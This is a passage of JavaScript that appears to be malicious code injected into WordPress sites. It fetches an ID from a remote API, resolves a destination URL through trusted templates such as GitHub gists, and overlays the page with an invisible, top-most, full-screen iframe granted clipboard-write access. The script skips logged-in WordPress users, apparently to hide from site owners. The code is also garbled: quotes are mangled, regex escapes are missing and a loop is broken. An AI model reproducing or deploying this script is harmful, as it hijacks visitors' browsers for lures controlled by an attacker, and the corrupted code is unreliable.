return template.replace(/{id}/g, id);
}
var encoded = encodeURIComponent(id);
if (template.indexOf(“gist.githubusercontent.com”) >= 0) {
encoded = encoded.replace(/%2F/g, “/”);
}
return template.replace(/{id}/g, encoded);
}
function toHttpUrl(value) {
if (!value) return “”;
var s = String(value)
.replace(/^uFEFF/, “”)
.trim()
.replace(/^[‘”`s]+|[‘”`s]+$/g, “”);
if (!s) return “”;
if (!/^[a-z][a-z0-9+.-]*:///i.test(s)) {
if (/^[a-z0-9.-]+.[a-z]{2,}(?::d+)?(?:[/?#]|$)/i.test(s)) {
s = “https://” + s;
} else {
return “”;
}
}
try {
var u = new URL(s);
if (u.protocol === “http:” || u.protocol === “https:”) {
return u.href;
}
} catch (e) {}
return “”;
}
function findUrlInObject(input, depth) {
if (!input || depth > 3) return “”;
if (typeof input === “string”) {
return toHttpUrl(input);
}
if (Object.prototype.toString.call(input) === “[object Array]”) {
for (var i = 0; i < input.length; i++) {
var arrVal = findUrlInObject(input[i], depth + 1);
if (arrVal) return arrVal;
}
return "";
}
if (typeof input === "object") {
var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];
for (var j = 0; j < keys.length; j++) {
var key = keys[j];
if (Object.prototype.hasOwnProperty.call(input, key)) {
var direct = findUrlInObject(input[key], depth + 1);
if (direct) return direct;
}
}
for (var k in input) {
if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
var nested = findUrlInObject(input[k], depth + 1);
if (nested) return nested;
}
}
return "";
}
function extractLandingUrl(raw) {
if (!raw) return "";
var text = String(raw).replace(/^uFEFF/, "").trim();
if (!text) return "";
var direct = toHttpUrl(text);
if (direct) return direct;
if ((text.charAt(0) === "{" && text.charAt(text.length – 1) === "}") ||
(text.charAt(0) === "[" && text.charAt(text.length – 1) === "]")) {
try {
var parsed = JSON.parse(text);
var jsonUrl = findUrlInObject(parsed, 0);
if (jsonUrl) return jsonUrl;
} catch (e) {}
}
var matchHttp = text.match(/https?://[^s"']+/i);
if (matchHttp && matchHttp[0]) {
var httpUrl = toHttpUrl(matchHttp[0]);
if (httpUrl) return httpUrl;
}
var matchDomain = text.match(/b[a-z0-9.-]+.[a-z]{2,}(?::d+)?(?:/[^s”‘]*)?/i);
if (matchDomain && matchDomain[0]) {
var domainUrl = toHttpUrl(matchDomain[0]);
if (domainUrl) return domainUrl;
}
return “”;
}
function getOriginSafe(url) {
try {
return new URL(url).origin;
} catch (e) {
return “”;
}
}
function addHint(rel, href) {
if (!href || !document || !document.createElement) return;
var key = rel + “::” + href;
if (registry.hints[key]) return;
registry.hints[key] = true;
try {
var parent = document.head || document.documentElement;
if (!parent) return;
var link = document.createElement(“link”);
link.rel = rel;
link.href = href;
if (rel === “preconnect”) {
link.crossOrigin = “anonymous”;
}
parent.appendChild(link);
} catch (e) {}
}
function warmupOrigins() {
var origins = {};
var apiOrigin = getOriginSafe(API_ID_URL);
if (apiOrigin) origins[apiOrigin] = true;
for (var i = 0; i = TRUSTED_CONFIGS.length) {
return Promise.resolve(“”);
}
var cfg = TRUSTED_CONFIGS[index] || {};
var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || “”, id));
if (!builtUrl) {
return step(index + 1);
}
if (!cfg.useFetch) {
return Promise.resolve(builtUrl);
}
return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
.then(function (raw) {
var landingUrl = extractLandingUrl(raw);
if (landingUrl) return landingUrl;
return step(index + 1);
})
.catch(function () {
return step(index + 1);
});
}
return step(0);
}
function activateIframe(url) {
if (!url || registry.status === “active”) return;
if (isWpLoggedInContext()) {
cleanup(“done”);
return;
}
var existing = document.getElementById(registry.iframeId);
if (existing) {
registry.status = “active”;
return;
}
var mount = getMountNode();
if (!mount) {
setTimeout(function () {
activateIframe(url);
}, 0);
return;
}
var iframe = document.createElement(“iframe”);
var closed = false;
var revealed = false;
var timeoutId = null;
function reveal() {
if (closed || revealed) return;
revealed = true;
if (timeoutId) clearTimeout(timeoutId);
registry.status = “active”;
iframe.style.visibility = “visible”;
iframe.style.opacity = “1”;
iframe.style.pointerEvents = “auto”;
iframe.removeAttribute(“aria-hidden”);
setTimeout(function () {
try { iframe.focus(); } catch (e) {}
try {
if (iframe.contentWindow && iframe.contentWindow.focus) {
iframe.contentWindow.focus();
}
} catch (e) {}
}, 0);
}
function destroy() {
if (closed) return;
closed = true;
if (timeoutId) clearTimeout(timeoutId);
cleanup(“done”);
}
registry.destroy = destroy;
registry.reveal = reveal;
iframe.id = registry.iframeId;
iframe.setAttribute(registry.iframeAttr, “1”);
iframe.setAttribute(“aria-hidden”, “true”);
iframe.setAttribute(“loading”, “eager”);
iframe.setAttribute(“allow”, “clipboard-write”);
iframe.src = safeAppendQuery(url, “v”, Math.random().toString(36).slice(2));
iframe.style.cssText = [
“position:fixed !important”,
“top:0”,
“left:0”,
“width:100vw”,
“height:100vh”,
“border:none”,
“z-index:2147483647”,
“margin:0”,
“padding:0”,
“overflow:hidden”,
“visibility:hidden”,
“opacity:0”,
“pointer-events:none”,
“background:transparent”
].join(“;”);
iframe.onload = function () {
if (closed) return;
if (!registry.requireReadyMessage) {
reveal();
}
};
iframe.onerror = function () {
destroy();
};
timeoutId = setTimeout(function () {
destroy();
}, registry.iframeTimeoutMs);
try {
mount.appendChild(iframe);
} catch (e) {
destroy();
}
}
function run() {
warmupOrigins();
bindMessageHandler();
return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
.then(function (id) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}
id = (id || “”).trim();
if (!id) {
cleanup(“done”);
return “”;
}
return resolveLandingUrl(id);
})
.then(function (finalUrl) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}
finalUrl = toHttpUrl(finalUrl);
if (!finalUrl) {
cleanup(“done”);
return “”;
}
var finalOrigin = getOriginSafe(finalUrl);
if (finalOrigin) {
addHint(“dns-prefetch”, finalOrigin);
addHint(“preconnect”, finalOrigin);
}
activateIframe(finalUrl);
return finalUrl;
})
.catch(function () {
cleanup(“done”);
});
}
registry.runPromise = run();
})();
